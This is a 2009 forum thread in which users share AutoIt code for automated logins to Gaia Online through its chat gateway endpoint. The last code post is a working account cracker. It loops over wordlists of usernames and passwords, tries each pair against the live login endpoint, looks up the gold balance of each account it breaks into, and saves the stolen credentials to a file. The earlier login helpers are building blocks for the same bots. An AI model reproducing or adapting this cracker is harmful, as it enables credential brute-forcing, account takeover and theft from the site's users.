New gaia login code for autoIT?

jimmy legend · 08-28-2009, 10:42 AM

I decided to start learning python in a week or so.

How do I login to gaia now using autoIT?

iPoison · 08-28-2009, 01:52 PM

Credits/Thanks = Hazerofdoom.

Quote:

Originally Posted by hazerofdoom

I haven`t released anything while being in here so I thought ill release this since the login is patched for most bots.

It logs in through towns.

Code:

Func -Name of the login button here-()
	$Response = _HTTPRequest($oHTTP, "GET", "http://www.gaiaonline.com/chat/gsi/gateway.php?X=" & (_DateDiff('s', "1970/01/01 00:00:00", _NowCalc())) * 1000 & "&v=sushi&m=108%01" & _URLEncode(GUICtrlRead($Input1)) & "%01" & _GaiaMD5(GUICtrlRead($Input2)) & "%04")

	If StringInStr($Response, "108%01%05%01") Then
		MsgBox(0, "", "You were successfully logged in.")
		;Put the fuction you want to call if the login is successful here.
	Else
		MsgBox(0, "", "Login was unsuccessful.")
	EndIf
EndFunc

Add this at the bottom of your whole bot coding or the top idc.

Code:

Func _HTTPRequest($oHTTP, $oMethod, $oURL, $oData = "")
	$oHTTP.Open($oMethod, $oURL, False)
	$oHTTP.SetRequestHeader("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5")
	If $oMethod = "POST" Then $oHTTP.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded")
	$oHTTP.Send($oData)
	Return $oHTTP.ResponseText
EndFunc   ;==>_HTTPRequest

And add this too.

Code:

Func __StringBetween($s, $from, $to)
	$x = StringInStr($s, $from) + StringLen($from)
	$y = StringInStr(StringTrimLeft($s, $x), $to)
	Return StringMid($s, $x, $y)
EndFunc

And add this before the GUI coding:

AutoItSetOption("GUIOnEventMode", 1)
$oHTTP = ObjCreate("winhttp.winhttprequest.5.1")

You will need two au3 files.

GaiaMD5.au3
URLEncode.au3

Put these in Your includes folder.

And add these to the includes of your code:

#include <GaiaMd5.au3>
#include <URLEncode.au3>
#include <Date.au3>

Hotfile.com: One click file hosting
Hotfile.com: One click file hosting

jimmy legend · 08-28-2009, 01:54 PM

ummm.
if I login via towns can I still access the main gaia page?

G3 · 08-28-2009, 01:55 PM

are you joking. that's not Hazerofdoom's code. That's mine. Copied the code from the cracker..

iPoison · 08-28-2009, 01:56 PM

Yeah.
I just checked on my mule. :P
Srsly?
I got it from hazer.

jimmy legend · 08-28-2009, 01:58 PM

Ok.

thanks g3
thanks iPoison

G3 · 08-28-2009, 01:58 PM

Code:

For $i = 1 To $oLines
    $sPass = FileReadLine($oPasswords, $i)
    $sMd5Pass = _gaiaMD5($sPass)
    For $x = 1 To $oULines
        $sUser = FileReadLine($oAccounts, $x)
        $UtcTime = (_DateDiff('s',"1970/01/01 00:00:00",_NowCalc()))*1000+$x
        $oHTTP.Open("GET", "http://www.gaiaonline.com/chat/gsi/gateway.php?X=" & $UtcTime & "&v=sushi&m=108%01" & _URLEncode($sUser) & "%01" & $sMd5Pass & "%04", False)
        $oHTTP.SetRequestHeader ("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5")
        $oHTTP.SetRequestHeader ("Connection", "Close")
        $oHTTP.SetRequestHeader ("Referer", "http://s2.cdn.gaiaonline.com/images/towns/010/towns.swf")
        $oHTTP.Send()
        If StringInStr($oHTTP.ResponseText, "108%01%05%01") Then
            $UtcTime = (_DateDiff('s',"1970/01/01 00:00:00",_NowCalc()))*1000+$x
            $temp = StringReplace($oHTTP.ResponseText, "108%01%05%01", "")
            $temp = _HTTPRequest($oHTTP, "GET", "http://www.gaiaonline.com/chat/gsi/gateway.php?X=" & $UtcTime & "&v=sushi&m=113%01" & $temp & "%04")
            $temp = StringReplace($temp, "113%01%05%01", "")
            FileWriteLine("output.txt", $sUser & " : " & $sPass & " -Gold: " & $temp)
            GUICtrlSetData($Label1, $sUser & " == " & $sPass)
            GUICtrlSetColor($Label1, 0x00FF00)
        Else
            GUICtrlSetData($Label1, $sUser & " != " & $sPass)
            GUICtrlSetColor($Label1, 0xFF0000)
        EndIf
        $tPercent += $percent
        GUICtrlSetData($Progress1, $tPercent)
    Next
Next

line

Code:

$UtcTime = (_DateDiff('s',"1970/01/01 00:00:00",_NowCalc()))*1000+$x
        $oHTTP.Open("GET", "http://www.gaiaonline.com/chat/gsi/gateway.php?X=" & $UtcTime & "&v=sushi&m=108%01" & _URLEncode($sUser) & "%01" & $sMd5Pass & "%04", False)

LOOKS THE SAME? HUH?